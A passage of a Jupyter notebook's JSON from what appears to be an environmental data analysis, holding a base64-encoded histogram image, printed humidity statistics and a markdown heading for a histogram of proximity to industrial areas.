QUAAABcictXZKOjo/X1118XCrPff/89n/AFt7DZbEpPTyt3ncTEY3I4HG7oCJ4StqWO7ht6t+rUjdbW+Td4uh0AgAG5HGTvv/9+xcXF6dZbb1V0dLROnDihTZs2afbs2RXRH64iNptNEyZOUOb58+WulZ2VpaTTp2W3293QGTzBmuKvwCa9Fdq4mVI83QwAwJBcDrL9+vVTrVq1tHr1ah04cEC1a9fW4sWLddNNN1VEf7iKpKenKfP8eXUfOV7hUdHlqpXw4y6tXjhHjjyCLAAAVZXLQVaS2rdvr/bt27u7F0CSFB4Vrci6DcpVw3Yi0U3dAAAAo3I5yCYlJemNN97QkSNHlJ+fX2jfe++957bGAFzdcqIzZNu1UD7/jlD7oA46/qdenm4JAGAwLgfZqVOnymazqUePHrJarRXREwAotcNpzfX5UNFJ0sNzViieIAsAuITLQXb//v364osvFBYWVhH9AAAAAKXi8vvIBgUFydfXtyJ6AQAAAErN5Suy48eP19SpU3XfffcpIiKi0D7eSxYAAACVxeUg+9RTT0mSNm3aJEmyWCxyOp2yWCz65ZdfSlXj4MGDmj17tg4cOCCr1arOnTtrypQpCgsL0759+/S3v/1NCQkJCg0N1bhx4zR06NCCc+Pj47VgwQKdOXNGDRs21NNPP63WrVu7OgwAAACYnMtB9ssvvyzXA+bk5Gjs2LG688479eabbyozM1OTJ0/WE088odmzZ+v+++/XI488omHDhmnnzp2Ki4tTkyZN1LJlS23fvl3Tp0/X22+/rZYtW2rZsmUaN26ctmzZooCAgHL1BQAAAHNxeY1sdHS0oqOjlZqaqgMHDqhmzZry9/dXdHTp3sD+xIkTatq0qeLi4uTr66vQ0NCC0Lpx40aFhIRoxIgR8vHxUceOHdWvXz8tW7ZMkrRixQr16dNHbdq0kdVq1ejRoxUaGqr169e7OgwAAACYnMtBNjk5WcOHD9edd96pyZMn69ixY7rlllu0d+/eUp3fsGFDLVq0SN7e3gXbvvjiCzVr1kyHDh1S48aNCx0fExOjgwcPSpISEhIuux8AAABXD5eXFrzwwgtq3Lix3n33XXXr1k3XXXed7r//fv3973/XRx995FItp9OpuXPnasuWLfrggw/03nvvFVki4O/vr6ysLElSZmbmZfe7wmJx+RRDujiOqjCeihiDu0q6s7Wy1rJc8m95al2uvtFquYtRx3dprT/Os7OctcrKYqkarylGVpVeu3F5zHXZlPb5cjnIbtu2TZs3b1ZAQIAs//8oY8eO1eLFi12qk5GRoalTp+rAgQP64IMP1KRJEwUEBCg9Pb3QcTk5OQoMDJQkBQQEKCcnp8j+0NBQV4eh8PAgl88xsqowntTU6vLx8ZbV6i1fX+8rn3AZPlYvWSyS1epTrlruquPOWlZfb0P25c5aPlYveTksqpZrUaDdIkdg9TLXM+L4SlPL6kJ9t/1sWb3l4+OtsLDqiogw/2uKGVSF126UDnNdMVwOslarVTk5OQoICJDTeeF6QWZmZkHYLI3ff/9d9913n+rUqaOVK1cWfLhC48aN9e233xY6NiEhQY0aNZIkNWrUSIcOHSqyv1u3bq4OQ8nJ6XK6ernDgCyWC78cVWE8KSkZcjjyZLfnKTc3r1y1HPZ8OZ2S3e4oVy131XFHLYsuhBt7bp6h+qqIWg57vmp+2kAPzVmkeo2bae04SWWsZ8TxXa7WH+e5tL/S7urLbs+Tw5GnlJQM1aiRfuUTUGZV6bUbl8dcl83F5+1KXF4j27NnT02aNElHjhyRxWJRcnKynnvuOXXv3r1U56empmrUqFG66aab9M477xT6hLDY2FjZbDYtWbJEdrtd27Zt09q1azV48GBJ0pAhQ7R27Vpt27ZNdrtdS5YsUXJysmJjY10dhpzOqvNVlcbjbu4q6c7WylrLecm/5al1ufpGqmXEniq6VnHzXNZaZeXp14Gr5Yvn+ur5Yq7L/rxdictXZB977DFNnTpVt912mySpS5cu6t69u55//vlSnb9q1SqdOHFCn3/+uTZs2FBo3969e7V48WLNmDFD8+bNU1hYmJ566il16NBBktSxY0dNmzZNzz77rJKSkhQTE6O3335bISEhrg4DAAAAJudykA0MDNS8efOUkpKixMRERUVFqVatWqU+f8yYMRozZkyJ+1u0aKHly5eXuH/AgAEaMGCASz0DAACg6nE5yO7cubPQ90ePHtXRo0clSTfffLN7ugJw1Utrc0bbvxytw5v89NesP2vvpOc83RIAwGBcDrIjR44sss3Ly0u1a9cu96d+AcBF2fXTtTbwrKLTpHkrzxFkAQBFuBxkL/3wgZSUFL3++uul/mQvAAAAwB1cfteCS4WFhWnSpElaunSpO/oBAAAASqXcQVa68JZa58+fd0cpAAAAoFRcXlowderUQt/b7Xbt3r1bnTp1cltTAAAAwJW4HGQv5efnp5EjR2rYsGHu6AcAAAAoFZeD7MyZMyuiDwAAAMAlLgfZ+fPnl+q4hx56yOVmAAAAgNJyOcgeOnRIGzduVNOmTdWgQQOdOnVKe/bs0Q033KDAwEBJksVicXujAAAAwB+5HGS9vLw0depU/eUvfynY9umnn2rLli2aO3euO3sDcBXzPx6ojmHVVMvhq+Pd/uTpdgAABuRykN26dateeumlQtv69u2rF154wW1NwVxsNpvS09PKXScx8ZgcDocbOkJVUGNbpHrMWaT6jZtph6ebAQAYkstBNiwsTDt37lSHDh0Ktn399deKiopya2MwB5vNpgkTJyjTDe8jnJ2VpaTTp2W3293QGQAAqOpcDrIPPPCA7r//fvXq1Ut16tTRsWPHtGXLFr322msV0R8MLj09TZnnz6v7yPEKjyrfxxQn/LhLqxfOkSOPIAsAAK7M5SA7dOhQRUdHa82aNfr555917bXXavny5WrSpElF9AeTCI+KVmTdBuWqYTuR6KZuAADA1aBMH4jQqVMnderUSSkpKQoLC3N3TwAgW++jev3bnoraaNGmrTdow4p/erolAIDBeLl6gt1u1yuvvKI2bdqoZ8+eOnbsmAYPHqzTp09XRH8ArlJ5AXk6GejQaX+7Amy8vgAAinI5yM6fP1/btm3Tq6++KqvVqvDwcEVFRWnGjBkV0R8AAABQLJeXFqxdu1YfffSRIiMjZbFYVK1aNc2cOVOxsbEV0R8AAABQLJevyGZlZRWsi3U6nZIkf39/eXm5XAoAAAAoM5fTZ6tWrTR//nxJ//0o2vfff18tWrRwb2cAAADAZbi8tOCJJ57Q6NGjFR8fr8zMTPXu3VuZmZl69913K6I/AEAlsufmKjHxmFtqBQUFKyIiwi21AKA4LgfZiIgIffbZZ/rqq690/PhxRUVF6U9/+pOqV69eEf0BACpJxrmzOnrksGa9Mke+fr7lrhfo56e5L80lzAKoMC4H2b59+2rNmjW6/fbbK6IfAICH5GRlysvqq273PKg69a8rV63kU8e19f0FSk9PI8gCqDBl+kCE7OxsrsACQBUVGlW73J/UBwCVweUg2759ew0dOlTdunVTrVq1Cu176KGH3NYYgKtb8J4I3d2mrWrVCNXex7p4uh0AgAG5HGQTExN17bXX6vDhwzp8+HDB9ovvYAAA7hBwOFh1Hn5c9Rs30xFPNwMAMKRSB9l7771X77zzjt5//31JUk5Ojvz9/SusMQAAAOBySv0+snv37i30fbdu3dzeDAAAAFBaZbrZS/rvp3oBQEVwBOcq5+h3Sj+fqDrVGyq9QSNPtwQAMJgyB1nWxAKoSMmxifrb2SmKPir9uqy24rf85OmW4CI+XAFARStzkAUAoCR8uAKAylDqIOtwOLR69eqC7+12e6HvJWngwIFuagsAYGZ8uAKAylDqIBsREaF58+YVfB8aGlroe4vFQpAFABTChysAqEilDrL//Oc/K7IPAAAAwCWlfvstAAAAwEgIsgAAADAlgiwAAABMiSALAAAAUyLIAgAAwJT4QAQAhhSxvq7G/+8UXdP+On0+IMrT7QAADIggC8CQvLN95FOrqfzrNVOOp5sBABgSSwsAAABgSgRZAAAAmBJLCwAYUlajczry9TPK2h6s/n5/UsKdozzdEgDAYLgiC8CQ0lumaFHQV1p6fo1avPGip9sBABgQQRYAAACmRJAFAACAKRFkAQAAYEoeDbIpKSmKjY3V9u3bC7ZNmzZNzZs3V+vWrQu+Pv7444L98fHxio2NVatWrTRo0CDt3bvXE60DAADAwzz2rgW7d+/WlClT9Pvvvxfavn//fk2fPl133HFHkXO2b9+u6dOn6+2331bLli21bNkyjRs3Tlu2bFFAQEBltQ4AAAAD8MgV2fj4eE2cOFGPPvpooe25ubn69ddf1bx582LPW7Fihfr06aM2bdrIarVq9OjRCg0N1fr16yujbQAAABiIR4Jsly5dtGnTJvXu3bvQ9oMHD8rhcGjevHnq1KmTevXqpbfeekv5+fmSpISEBDVu3LjQOTExMTp48GCl9Q4AAABj8MjSgpo1axa7PT09Xe3atdPIkSM1Z84c/fLLL4qLi5OXl5fGjh2rzMzMIksI/P39lZWV5XIPFkuZWjeci+Pw1Hgq4nHdWdJdtYzQk+WSf8tT63L1jVbLXYw6vktr/XGeneWsVVaGfa4svHbDfJjrsint82WoT/bq3LmzOnfuXPB9y5YtNWrUKK1fv15jx45VQECAcnJyCp2Tk5Oj0NBQlx8rPDyo3P0aiafGk5paXT4+3rJaveXr612uWj5WL1ksktXqY5haRuzJ6uttyL7cWcvH6iWfdKvq5fkoKstLGQ1iylzPiOMrTS2rC/Wr8s+7JFmt3vLx8VZYWHVFRPDaDXNiriuGoYLs5s2bZbPZNHz48IJtubm58vf3lyQ1atRIhw4dKnROQkKCunXr5vJjJSeny+nq5Q4Dslgu/HJ4ajwpKRlyOPJkt+cpNzevXLUc9nw5nZLd7jBMLSP1ZNGFcGPPzTNUXxVRy2HPV/jGazV6ziLVa9xMmySpjPWMOL7L1frjPJf2V7oq/rz/kd2eJ4cjTykpGapRI71ctYzC06/dqDzMddlcfN6uxFBB1ul0aubMmapXr546dOigH374Qe+9956mTp0qSRoyZIji4uJ0++23q02bNlq2bJmSk5MVGxtbhsdSlfqB8tR4KuIx3VnSXbWM0JPzkn/LU+ty9Y1Uy4g9VXSt4ua5rLXKyrDPVRV73Zaq5phQPOa6YhgqyMbGxmrq1Kl69tlnlZSUpIiICD388MMaMGCAJKljx46aNm1awf6YmBi9/fbbCgkJ8WzjAAAAqHQeD7L//ve/C30/fPjwQksLLjVgwICCYIuys9lsSk9PK3edxMRjcjgcbugIAADANR4Psqh8NptNEyZOUOb58+WulZ2VpaTTp2W3293QGfBfZ7uc1PovByryc6teTuyq715809MtAQAMhiB7FUpPT1Pm+fPqPnK8wqOiy1Ur4cddWr1wjhx5BFm4V25ktr4LTFd0mhS561tPtwMAMCCC7FUsPCpakXUblKuG7USim7oBAABwjUc+2QsAAAAoL4IsAAAATIkgCwAAAFMiyAIAAMCUCLIAAAAwJYIsAAAATIkgCwAAAFPifWQBGFK1QzV0e90o1bIEKGHInz3dDgDAgAiyAAwp6Mdw3Tj6DdVv3Ez7Pd0MAMCQWFoAAAAAUyLIAgAAwJQIsgAAADAlgiwAQ0oa/Jue+qGbJi8K1x09mnu6HQCAARFkAQAAYEoEWQAAAJgSQRYAAACmRJAFAACAKfGBCAAAw7Pn5iox8ZhbagUFBSsiIsIttQB4FkEWAGBoGefO6uiRw5r1yhz5+vmWu16gn5/mvjSXMAtUAQRZAICh5WRlysvqq273PKg69a8rV63kU8e19f0FSk9PI8gCVQBBFgBgCqFRtRVZt4Gn2wBgINzsBQAAAFPiiiwAQwr5Jkr/c3tf1W4QpW9nt/Z0OwAAAyLIAjAkv6RqCml5tyIbN9NpTzcDADAklhYAAADAlAiyAAAAMCWWFgAwpPORWTr344dKOhalFkGtdbpdF0+3BAAwGIIsAEM61+WUXspfqOjD0q/Lait+y0+ebgkAYDAsLQAAAIApEWQBAABgSgRZAAAAmBJBFgAAAKZEkAUAAIApEWQBAABgSgRZAAAAmBJBFgAAAKZEkAUAAIAp8cleAAwp8h8NFTdnkeo3bqb4sZ7uBgBgRFyRBQAAgCkRZAEAAGBKBFkAAACYEkEWgCGlt0zWvn+O0/dv9lKL1//u6XYAAAZEkAVgSFmNUrUi7IBWe+9SzMr3PN0OAMCACLIAAAAwJYIsAAAATIkgCwAAAFMiyAIAAMCUPBpkU1JSFBsbq+3btxds27dvn4YOHarWrVurZ8+eWrFiRaFz4uPjFRsbq1atWmnQoEHau3dvZbcNAAAAA/BYkN29e7eGDRum33//vWBbamqq7r//fg0cOFA7d+7UjBkzNHPmTP3444+SpO3bt2v69OmaNWuWdu7cqf79+2vcuHHKzs721DAAAADgIR4JsvHx8Zo4caIeffTRQts3btyokJAQjRgxQj4+PurYsaP69eunZcuWSZJWrFihPn36qE2bNrJarRo9erRCQ0O1fv16TwwDAAAAHuTjiQft0qWL+vXrJx8fn0Jh9tChQ2rcuHGhY2NiYrRy5UpJUkJCggYPHlxk/8GDB13uwWIpQ+MGdHEcroynIsbuzpJGrGWEniyX/FueWperb7Ra7mLU8V1a64/z7CxnrbIyy3NVVvbcXB0/fqzcr4VBQcGKiIgo07llee2GOTHXZVPa58sjQbZmzZrFbs/MzFRAQEChbf7+/srKyirVfleEhwe5fI6RuTKe1NTq8vHxltXqLV9f73I9ro/VSxaLZLX6VMlaRuzJ6uttyL7cWcvH6iW/0wFqXcNXked9dKZ9lzLXM+L4SlPL6kL9qvzz7u5aOZmp+v3oEf193lz5+fmVq1ZQgL8Wv7WwxP+mlUZV+28RSsZcVwyPBNmSBAQEKD09vdC2nJwcBQYGFuzPyckpsj80NNTlx0pOTpfT1csdBmSxXPjlcGU8KSkZcjjyZLfnKTc3r1yP77Dny+mU7HZHlaxlpJ4suhBu7Ll5huqrImo57PkK+bq2+sxZpHqNm+kbSSpjPSOO73K1/jjPpX2Jqoo/7xVVKyM1XRYfq7oMv1+1619X5jrJp45r6/sLdOTICVks/i6fX5bXbpgTc102F5+3KzFUkG3cuLG+/fbbQtsSEhLUqFEjSVKjRo106NChIvu7devm8mM5napSP1CujKcixu3OkkasZYSenJf8W55al6tvpFpG7KmiaxU3z2WtVVZmea7KIySqtiLrNih3nfL+t6Sq/bcIJWOuK4ah3kc2NjZWNptNS5Yskd1u17Zt27R27dqCdbFDhgzR2rVrtW3bNtntdi1ZskTJycmKjY31cOcAAACobIa6IhsaGqrFixdrxowZmjdvnsLCwvTUU0+pQ4cOkqSOHTtq2rRpevbZZ5WUlKSYmBi9/fbbCgkJ8WzjlcRmsyk9Pa3QNovlwprXlJSMUv8/vcTEY3I4HBXQIQAAQOXxeJD997//Xej7Fi1aaPny5SUeP2DAAA0YMKCi2zIcm82mCRMnKPP8+SL7fHy85XCUft1YdlaWkk6flt1ud2eLgFslxx7T0n/dqqgNXvpk70368t1PPd0SAMBgPB5kUTrp6WnKPH9e3UeOV3hUdKF9Vqu37PbSB9mEH3dp9cI5cuQRZGFcjmC7DgU6lCUp+Mh/PN0OAMCACLImEx4VXeQGBV9fb5fu5LWdSHR3WwAAAJXOUDd7AQAAAKVFkAUAAIApEWQBAABgSgRZAAAAmBJBFgAAAKbEuxYAAFAG9txcJSYeK9O5l36YTVBQsCIiItzcIVD1EWQBAHBRxrmzOnrksGa9Mke+fr5lqvHHD7MJ9PPT3JfmEmYBFxFkARhS0I9hGtr8BtXyC9b+cX/ydDtAITlZmfKy+qrbPQ+qTv3rylTj4ofZJJ86rq3vL1B6ehpBFnARQRaAIVU7FKL6455X/cbNlODpZoAShEbVLvIhNaXl6ofZACiKm70AAABgSgRZAAAAmBJLCwAYUl6AQ47TB5XjZ1dItSjl1IzydEsAAIMhyAIwJFvv3/XsifsVfVD6dVltxW/5ydMtAQAMhqUFAAAAMCWCLAAAAEyJIAsAAABTIsgCAADAlAiyAAAAMCWCLAAAAEyJIAsAAABTIsgCAADAlAiyAAAAMCU+2QuAIYVvukYPjHlQ0dfX1eY/N/R0OwAAAyLIAjAknzRf+dfrpKDGzZTu6WYAAIbE0gIAAACYEkEWAAAApsTSAgCGlN0gTSe++7sc+0J1S0AXHek7xNMtAQAMhiuyAAwp7SabFlRbp7dT31frl5/1dDsAAAMiyAIAAMCUCLIAAAAwJYIsAAAATIkgCwAAAFMiyAIAAMCUCLIAAAAwJYIsAAAATIkgCwAAAFPik70AGJJ3trciJdXKsSg7opan2wEqlD03V4mJx9xSKygoWBEREW6pBRgdQRaAIUWsr6e4OYtUv3EzbXjI090AFSfj3FkdPXJYs16ZI18/33LXC/Tz09yX5hJmcVUgyAIA4EE5WZnysvqq2z0Pqk7968pVK/nUcW19f4HS09MIsrgqEGQBADCA0KjaiqzbwNNtAKbCzV4AAAAwJYIsAENK7ZCkLZuH6bN5N6ndtL96uh0AgAGxtACAIeVEZ+rLwFRFp0nR8Rs93Q4AwIC4IgsAAABTIsgCAADAlAiyAAAAMCWCLAAAAEzJkEF2/fr1uuGGG9S6deuCr0mTJkmS9u3bp6FDh6p169bq2bOnVqxY4eFuAQAA4AmGfNeC/fv3a8CAAZo5c2ah7ampqbr//vv1yCOPaNiwYdq5c6fi4uLUpEkTtWzZ0kPdAgAAwBMMeUV2//79at68eZHtGzduVEhIiEaMGCEfHx917NhR/fr107JlyzzQJQAAADzJcFdk8/PzdeDAAQUEBGjRokXKy8tT9+7dNXHiRB06dEiNGzcudHxMTIxWrlzp8uNYLO7quHKU1K/lD/86Xa1Zjn6utlpG6Mlyyb/lqXW5+kar5S5GHd+ltYzwO22W58oItQz7+2wx33/nqqqL88B8uKa0z5fhgmxKSopuuOEG9erVS/PmzdPZs2c1efJkTZo0STVr1lRAQECh4/39/ZWVleXy44SHB7mr5UqRmlpdPj7eslq95evrXWS/tZhtJfGxeslikaxWn2JruaKq1zJiT1Zfb0P25c5aPlYvBRwJ0p9rh6lWvp+O9ftzmesZcXylqeWJ32mzPleeqGXU32er1Vs+Pt4KC6uuiAhz/XeuqjNb7jALwwXZiIiIQksFAgICNGnSJN15550aNGiQcnJyCh2fk5OjwMBAlx8nOTldTlcvd3hQSkqGHI482e15ys3NK9hu0YUXQntuXqmv3jjs+XI6JbvdUahWWVT1Wkbq6Y9zbaS+KqKWw56v4N011X7OItVr3Ey7JKmM9Yw4vsvV8uTvtNmeK0/WMurvs92eJ4cjTykpGapRI71cteAeFsuFEGu23OFpF5+3KzFckD148KDWrVunxx57TJb/v66cm5srLy8vtWzZUkuXLi10fEJCgho1auTy4zidMtUPVEm9Oi/516WaZW3mKqxlhJ6Km2sj9FWRtYzYU0XXMsLvtFmeKyPUMuzvs8n+G3c1YE4qhuFu9goJCdGyZcu0aNEiORwOnThxQi+++KLuuOMO9erVSzabTUuWLJHdbte2bdu0du1aDR482NNtAwAAoJIZLshGRUXpzTff1Jdffql27dpp8ODBatGihZ555hmFhoZq8eLF2rBhg9q3b6+nnnpKTz31lDp06ODptgEAAFDJDLe0QJLatWun5cuXF7uvRYsWJe4DUHWcHnBYs3Z0V50vpR3rrtO6z7Z7uiUAgMEYMsgCgNPHqQxfpzKtkjUr09PtAAAMyHBLCwAAAIDSIMgCAADAlAiyAAAAMCWCLAAAAEyJIAsAAABTIsgCAADAlHj7LQAAqhB7bq4SE4+5pVZQULAiIiLcUguoCARZAACqiIxzZ3X0yGHNemWOfP18y10v0M9Pc1+aS5iFYRFkARhSjW21NKr7nxQVGaEd0/gYaqA0crIy5WX1Vbd7HlSd+teVq1byqePa+v4CpaenEWRhWARZAIbkf7y6Ito+qGsaN9NxTzcDmExoVG1F1m3g6TaACsfNXgAAADAlrsgCAIBiceMYjI4gC8CQ7GE5yvz3ep1N2afrgm5QSrNWnm4JuKpw4xjMgCALwJBSepzQzOxZiv5J+nVZbcVv+cnTLQFXFW4cgxkQZAEAQIm4cQxGxs1eAAAAMCWCLAAAAEyJIAsAAABTIsgCAADAlAiyAAAAMCWCLAAAAEyJIAsAAABTIsgCAADAlPhABACGVPPT+op7ZraubdhYa+8K8nQ7AMrJnpurxMRj5a4TFBTMp4OhAEEWgCF5ObzkVb2mrCF15PB0MwDKJePcWR09clizXpkjXz/fctUK9PPT3JfmEmYhiSALAAAqWE5Wprysvup2z4OqU/+6MtdJPnVcW99foPT0NIIsJBFkAQBAJQmNqq3Iug083QaqEG72AmBIGdef1cGvHtPed4ao6ZIFnm4HAGBABFkAhpR5w1l9ELJTy51bdP1SgiwAoCiWFlQCm82m9PS0ctVITDwmh4NbXgAAAC4iyFYwm82mCRMnKPP8+XLVyc7KUtLp07Lb7W7qDAAAwNwIshUsPT1NmefPq/vI8QqPii5znYQfd2n1wjly5BFkAQAAJIJspQmPii7XnZq2E4lu7AYAAMD8uNkLAAAApkSQBQAAgCkRZAEAAGBKBFkAAACYEjd7ATAka4qfrs/1V2SOt1JuuNHT7QAADIggC8CQwrZEa8icRarfuJm2eroZAIAhsbQAAAAApkSQBQAAgCkRZAEAAGBKBFkAhpTS47hWbumt919tqO5xIzzdDgDAgLjZC4Ah2cPO64dAh6LTpLCf93m6HQAGYc/NVWLiMbfUCgoKVkREhFtqwTMIsgAAwBQyzp3V0SOHNeuVOfL18y13PaukKZOmKDQ0tNy1CMWeQZAFAACmkJOVKS+rr7rd86Dq1L+uXLV+//VnLX/xGT39t+fdEooD/fw096W5hNlKRpAFAACmEhpVW5F1G5Srhu1EottCcfKp49r6/gKlp6cRZCsZQRYAAFy13BGKpZLX7losUmpqdaWkZMjpLF0tlimUnimDbHJysp5++mnt2LFD3t7e6t+/vyZPniwfH1MOBwAAmNiV1u76+HjL4cgrdT3W7paeKZPfhAkTFBkZqa+//lo2m03jxo3TkiVLNHbsWE+3BgAArjJXWrtrtXrLbi9dkGXtrmtMF2SPHj2qHTt26F//+pcCAgJ07bXXavz48XrxxRcJsgAAwGNKWqbg6+ut3NzSBVl3r93d/M5c/fLLAV1zzbXlqmXUK7umC7KHDh1SSEiIIiMjC7Zdd911OnHihNLS0hQcHFyqOl5eKvValfLw9vZStWrVlJGcJF/vsn/+RE5asqpXD1R28hmdPX60YLtFkrfVW3n2PJV2OCXVcmdfVaWWkXr641wbqa+KqJWTlqwgvyDl+zpU3U/KCwgocz0jju9ytTz5O22258qTtfh99kwtI/Z0pVqu/k5frOVv9SlXbpAkR3aWkm1n9NqbC2Ut59Xd6r6+mvXCLIWHh5erTmlZLKU8zumsjDjnPp9++qleeeUVffXVVwXbfv/9d8XGxmrr1q2KioryXHMAAACoNKb7iNpq1aopOzu70LaL3wcGBnqiJQAAAHiA6YJso0aNdO7cOdlstoJt//nPfxQVFaWgoCAPdgYAAIDKZLogW79+fbVp00YvvPCCMjIydOzYMS1YsEBDhgzxdGsAAACoRKZbIytJNptNzz//vLZv3y4vLy8NHDhQEydOlLe3t6dbAwAAQCUxZZAFAAAATLe0AAAAAJAIsgAAADApgiwAAABMiSALAAAAUyLImlBeXp5GjhypKVOmFGzbt2+fhg4dqtatW6tnz55asWKFBztEeZw7d06PP/642rdvr5tvvlnjx4/X6dOnJTHPVc2BAwc0YsQItW3bVl26dNHf/vY35ebmSmKuq4KUlBTFxsZq+/btBduuNK/x8fGKjY1Vq1atNGjQIO3du7ey20YZFDfXX3zxhQYMGKCbbrpJPXv21Pz585Wfn1+wn7l2EydMZ+7cuc6mTZs6J0+e7HQ6nc5z584527Vr5/zggw+cdrvd+d133zlbt27t3Ldvn4c7RVncc889zri4OGdqaqozPT3d+dBDDznvv/9+5rmKycvLc3bu3Nm5dOlSZ15envPkyZPOXr16OefPn89cVwG7du1y3nLLLc7GjRs7t23b5nQ6r/xavW3bNmfr1q2du3btcubm5jrfffddZ/v27Z1ZWVmeHAquoLi53r9/v7Nly5bOf/7zn868vDxnQkKCs0ePHs533nnH6XQy1+7EFVmT+f7777Vx40bdeuutBds2btyokJAQjRgxQj4+PurYsaP69eunZcuWebBTlMVPP/2kffv2adasWQoODlb16tU1ffp0TZw4kXmuYlJTU3XmzBnl5+fL+f/vgujl5aWAgADm2uTi4+M1ceJEPfroo4W2X2leV6xYoT59+qhNmzayWq0aPXq0QkNDtX79ek8MA6VQ0lwfP35cw4cPV48ePeTl5aXrrrtOsbGx2rlzpyTm2p0IsiaSnJysJ598Ui+//LICAgIKth86dEiNGzcudGxMTIwOHjxY2S2inH788UfFxMTok08+UWxsrLp06aLZs2erZs2azHMVExoaqtGjR2v27Nlq0aKFunfvrvr162v06NHMtcl16dJFmzZtUu/evQttv9K8JiQkMO8mU9Jc9+rVS1OnTi34PicnR1999ZWaNWsmibl2J4KsSeTn52vSpEkaM2aMmjZtWmhfZmZmoWArSf7+/srKyqrMFuEGqamp+ve//60jR44oPj5eq1evVlJSkiZPnsw8VzH5+fny9/fX008/rR9++EHr1q3Tf/7zH82bN4+5NrmaNWvKx8enyPYrzSvzbj4lzfUfZWRkKC4uTv7+/ho9erQk5tqdCLIm8eabb8rX11cjR44ssi8gIEA5OTmFtuXk5CgwMLCy2oOb+Pr6SpKefPJJVa9eXREREZowYYK2bt0qp9PJPFchmzZt0hdffKG7775bvr6+atSokeLi4vTRRx/xO11FXWlemfeq57ffftPw4cPlcDj03nvvqXr16pKYa3ciyJrEp59+qh07dqht27Zq27at1q1bp3Xr1qlt27Zq3LixDh06VOj4hIQENWrUyEPdoqxiYmKUn58vu91esO3iXa7XX38981yFnDx5suAdCi7y8fGR1Wrld7qKutK8NmrUiHmvQrZu3aqhQ4eqa9eueuedd1SjRo2Cfcy1+xBkTWLDhg3as2ePdu3apV27dqlv377q27evdu3apdjYWNlsNi1ZskR2u13btm3T2rVrNXjwYE+3DRd16tRJ1157rZ544gllZmYqJSVFr7zyim655Rb17duXea5CunTpojNnzmjhwoXKy8vTsWPH9MYbb6hfv378TldRV5rXIUOGaO3atdq2bZvsdruWLFmi5ORkxcbGerhzuOqHH35QXFycpk6dqsmTJxdZfsBcu4/FefF2WZjKxfeQnTVrliRp//79mjFjhn799VeFhYVp/PjxGjRokCdbRBklJSVp1qxZ2rlzp86fP6+ePXvqySefVHBwMPNcxXz33XeaO3eufvvtNwUFBal///6Ki4uTr68vc11FNGnSRO+9957at28v6cqv1Z9++qneeOMNJSUlKSYmRk899ZRuvPFGT7UPF/xxrh988EF99dVXRdbBtmnTRosWLZLEXLsLQRYAAACmxNICAAAAmBJBFgAAAKZEkAUAAIApEWQBAABgSgRZAAAAmBJBFgAAAKZEkAUAAIApEWQBoIo6evSop1sAgApFkAWAUurZs6dWrVpVZPuqVavUs2fPCnnMPn36aM2aNcXuS0xMVJMmTZSYmChJat26tXbt2iVJmj17tt54440yP+6xY8c0fPhw2e12JSUlafjw4WrdurVGjhwpm81WcNzatWs1efLkQufa7XYNHz68oC8AqCgEWQAwsM8++0z9+/cv1bF79+5V27ZtJUlnz54t1+NOmTJFDz30kKxWq5YuXaratWvru+++U3h4uJYsWSJJysjI0MKFC/X4448XOtdqteqRRx4pEnABwN0IsgDgRpdeJZWk1157TSNHjpR04ert3XffrdmzZ6tdu3bq0KGD3n//fX3yySfq0aOH2rRpo2eeeabg3D9eBc7IyNDkyZPVpk0bde3aVZ9++mmhx27SpIm2b9+u119/XWvXrtXatWvVv39/vfXWW+rVq1ehY9955x2NGDGi2DF89dVXSklJUZcuXSRJPj4+kqSLn2ju7e0tSXr11Vc1YsQIhYeHF6nRqVMnpaSkaOvWraV/8gDARQRZAHDBc889p7Zt2xb6eu6551yqsXv3bkVGRmrbtm165JFHNHPmTG3fvl3r16/XkiVLtHLlSu3cubPIec8//7yOHj2qjRs3as2aNdq9e3ex9ePi4tSvXz/169dPa9as0cCBA3Xs2DHt27ev4JjVq1dr0KBBxZ7/4Ycfqm/fvgXf/+Uvf9HZs2fVo0cPZWRkaPTo0Tp48KB+/PFHDR8+vMRx9unTRx9++GFpnxYAcBlBFgBcMG3aNO3atavQ17Rp01yqUa1aNY0aNUpeXl7q0qWL8vLydO+99yogIEAtWrRQrVq1dPz48ULn5Obm6vPPP9fDDz+s8PBwhYaGFvmTfklq1apV6ArugQMHlJiYqNtuu63Isfn5+dqxY4duuummgm0RERFasmSJtm/frkWLFikkJETTp0/XU089pc8//1yDBg3S8OHDC9bnXnTTTTdp+/btBVdyAcDdCLIAUMlCQkJksVgkSV5eF16Gg4ODC/Z7eXkpPz+/0Dlnz55Vbm6uateuXbDt2muvLfVjDho0SOvXr5fdbld8fLxuu+02BQYGFjnu3Llzys7OVq1atUqstWrVKjVu3FjXXHONnn76ac2fP1+PP/64JkyYUCi0RkZGKjs7u9zrdQGgJARZAHCji+tH7XZ7wbZLg9zFEOuK0NBQ+fn56dixYwXbTp06VerzL76rwrfffqvPP/9cgwcPLva4i72VdBU1NTVVS5Ys0aOPPqrff/9d1apVU506ddS8eXOdOXOm0Fjz8vIk/fc5AQB3I8gCgBuFh4erRo0a+uyzz+R0OnXgwAFt2LCh3HV9fX01cOBAvfrqqzp16pTS09P14osvXvb49PT0gu+tVqv69++vV199VdWrVy94d4NLhYaGqlq1akpKSip2/5w5c3TvvfcqODhY0dHRSktL09GjR7V3717VqFFDISEhBceePn1a1apVU40aNco2aAC4AoIsALiRr6+vpk+frs8//1w33XSTZs2apTvvvNMttZ988km1bNlS/fr106233qobb7yxxGN79+6tPXv26E9/+lPBtkGDBunnn38u8Savizp37lzsjWT79+/Xb7/9poEDB0q6sHZ28uTJGj58uKZMmaJZs2YVLJWQLtzU1rVrV9cGCQAusDhZhQ8AV4Vz586pa9eu2rx5syIjI0s8bsuWLXrxxRe1fv36cj3e7bffrqlTp6pbt27lqgMAJeGKLABUcbm5uTp06JBefvllde/e/bIhVpJ69OihGjVqlOs9YLdu3arw8HBCLIAKxRVZAKjiMjIy1L17d9WuXVsLFy7UNddcc8Vzjh49qkmTJmnZsmWyWq0uPZ7dbtfdd9+tOXPmuPTOCgDgKoIsAAAATImlBQAAADAlgiwAAABMiSALAAAAUyLIAgAAwJQIsgAAADAlgiwAAABMiSALAAAAUyLIAgAAwJQIsgAAADCl/wPFBzI9Lw9vrwAAAABJRU5ErkJggg=="
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Mean Humidity: 70.06\n",
"Standard Deviation: 15.86\n",
"Median Humidity: 69.80\n"
]
}
],
"execution_count": 6
},
{
"metadata": {},
"cell_type": "markdown",
"source": "4. Histogram \"Proximity to Industrial Areas\"",
"id": "e4961fae932e7aaf"
},
{
"metadata": {
